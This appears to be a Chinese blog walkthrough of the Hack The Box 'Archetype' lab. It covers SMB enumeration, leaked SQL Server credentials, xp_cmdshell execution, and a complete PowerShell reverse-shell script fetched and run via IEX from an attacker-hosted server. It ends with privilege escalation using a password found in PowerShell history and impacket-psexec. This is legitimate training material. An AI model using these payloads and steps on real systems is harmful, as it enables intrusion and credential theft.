IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> hack the box archetype 靶场练习 -> 正文阅读

[系统运维]hack the box archetype 靶场练习

连接靶机

首先下载openvpn的配置文件,建议使用UDP协议进行连接,如果使用TCP协议连接,在最后提权的一步提权的时候可能会失败。

在这里插入图片描述

总starting point中找到靶机archetype,并点击Join Machine开启靶机。当靶机启动后会显示该靶机的IP地址。但是现在还不能访问该IP地址。需要建立vpn隧道后才能通信。

在这里插入图片描述

通过openvpn连接到hack the box的服务器。

openvpn starting_point_rpsate.ovpn

其中starting_point_rpsate.ovpn是刚才下载的配置文件。

在这里插入图片描述

当连接成功后系统中会出现一张虚拟的网卡,该网卡上的IP地址就是与靶机通信的IP地址。可以通过命令ifconfig查看。现在已经建立连接了,下一步可以对靶机进行扫描了。

在这里插入图片描述

信息收集

扫描一下服务器开放的端口和服务,收集一下服务器有哪一些漏洞。

namp -sV --script vulners 10.10.10.27

-sV 代表收集服务器端口信息和开放的服务信息

–script vulners 代表使用扫描漏洞脚本

在这里插入图片描述

该服务器开放了135、139、445、1433等端口,其中443是共享文件协议(smb)的默认端口。如果在没有配置权限的情况下,该协议可能允许匿名访问共享文件夹。接下来测试一下是否可以匿名访问共享文件夹。

smbclient -N -L //10.10.10.27/

-N 代表匿名访问

-L 代表列出共享文件夹

在这里插入图片描述

经过测试确实能匿名访问,我们接下来逐个查看一下这些文件夹里面有一些什么文件。最终在backups中发现一个敏感文件prod.dtsConfig,把这个文件下载下来。

smbclient -N //10.10.10.27/backups
ls
get prod.dtsConfig

在这里插入图片描述

cat prod.dtsConfig

在这个文件中发现了账号 ARCHETYPE\sql_svc 和密码 M3g4c0rp123,我们用这个账号尝试登陆一下SQL服务,在之前通过nmap已经扫描出该服务器上使用的是SQL server。

在这里插入图片描述

连接数据库

接下来我们需要使用网络工具协议包impacket中的mssqlclient来连接到SQL server服务器。在kali中是自带这个工具的,如果没有发现可以上GitHub下载该工具。

安装及使用方法可以参考:https://www.freebuf.com/articles/web/175208.html

impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.10.10.27

在这里插入图片描述

如上图所示就是连接成功了,查看一下是否有系统权限。

SELECT IS_SRVROLEMEMBER ('sysadmin')

在这里插入图片描述

如上图出现1代表有系统权限。接下开启xp_cmdshell。

enable_xp_cmdshell                             //开启xp_cmdshell,如果不能则需要执行下边几行命令
EXEC sp_configure 'Show Advanced Options', 1;  //允许修改数据库高级配置选项
reconfigure;                                   //确认上面的操作
EXEC sp_configure 'xp_cmdshell', 1;            //启用xp_cmdshell,允许SQL server执行系统命令
reconfigure;                                   //确认上面的操作

执行系统命令,查看一下自己的权限。

xp_cmdshell "whoami"

在这里插入图片描述

执行成功,接下来需要获取操作系统普通用户的权限。

反弹shell

现在我们可以通过数据库执行操作系统命令,可以让服务器执行一段powershell命令来建立一个反向的shell。首先准备一个powershell文件a.sp1,该文件中代码如下所示(注意将其中的IP改成自己电脑中虚拟网卡的IP,即与靶机通信的IP地址):

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.42",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

接下来搭建一个服务器,将a.ps1放在该服务器上供靶机下载。要注意的是执行该命令时所在的目录即网站根目录,所以在a.ps1所在的目录执行该命令即可。

python3 -m http.server 80

在这里插入图片描述

在这里插入图片描述

另外再开启一个命令行,监听 4443端口,也可以监听其他端口,但是在a.psq文件中要做相应的修改。

nc -lvnp 4443

-l 代表监听模式

-v 代表输出详细报告

-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数

-p 指定端口号

在这里插入图片描述

接下来在靶机的SQL server执行命令,依然要注意修改IP地址:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.42/a.ps1\");""

在这里插入图片描述

执行命令后报错了

New-Object : The ‘New-Object’ command was found in the module ‘Microsoft.PowerShell.Utility’, but the module could not be loaded. For more information, run ‘Import-Module Microsoft.PowerShell.Utility’.

按照系统的提示执行命令

xp_cmdshell "powershell "Import-Module Microsoft.PowerShell.Utility;IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.42/a.ps1\");""

然后再回到监听窗口,如图所示出现#号则说明反弹shell成功了。

在这里插入图片描述

现在得到了普通管理员的权限,现在可以去桌面获取flag了。

type C:\Users\sql_svc\Desktop\user.txt

在这里插入图片描述

提权

现在已经获取到一个flag了,接下来通过提权获取更高的权限。现在可以查看一下powershell的历史,说不定有意外的收获。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

在这里插入图片描述

我们可以看出该用户执行过命令 net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!。该命令的作用是将主机ARchetype上的backups文件夹映射到自己的T盘,后面紧随着用户名和密码。

现在可以尝试用一下psexec提权,其原理是:

1.通过ipc$连接,释放psexecsvc.exe到目标

2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。

4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug。

更详细的内容可以参考:https://www.cnblogs.com/sup3rman/p/12381874.html

impacket-psexec administrator@10.10.10.27

执行命令并输入密码,如图所示则说明提权成功。

在这里插入图片描述

现在已经获取到最高权限了,可以获取管理员的flag了。

type C:\Users\Administrator\Desktop\root.txt

在这里插入图片描述

成功获取flag,接下来可以去hack the box提交flag了。

参考文献

[1] https://www.linkedin.com/pulse/hack-box-starting-point-archetype-nathan-barnes,Hack the Box - Starting Point: Archetype;

[2] https://forum.hackthebox.eu/discussion/2824/psa-fix-to-smbv1-smbclient-issues,PSA: Fix to SMBv1 smbclient issues

[3] https://www.cnblogs.com/sup3rman/p/12381874.html,Psexec和wmiexec的原理和区别

[4] https://www.jb51.net/softjc/2124.html,IPC 、 A D M I N 、ADMIN ADMIN、C 、 D 、D D都是什么?如何关闭取消删除Windows默认共享

[5] https://blog.csdn.net/weixin_35795675/article/details/113006804,nc 监听数据_linux包之nc之nc命令

[6] https://www.freebuf.com/articles/web/175208.html,Impacket网络协议工具包介绍

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-07-29 23:32:11  更:2021-07-29 23:32:23 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 17:32:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码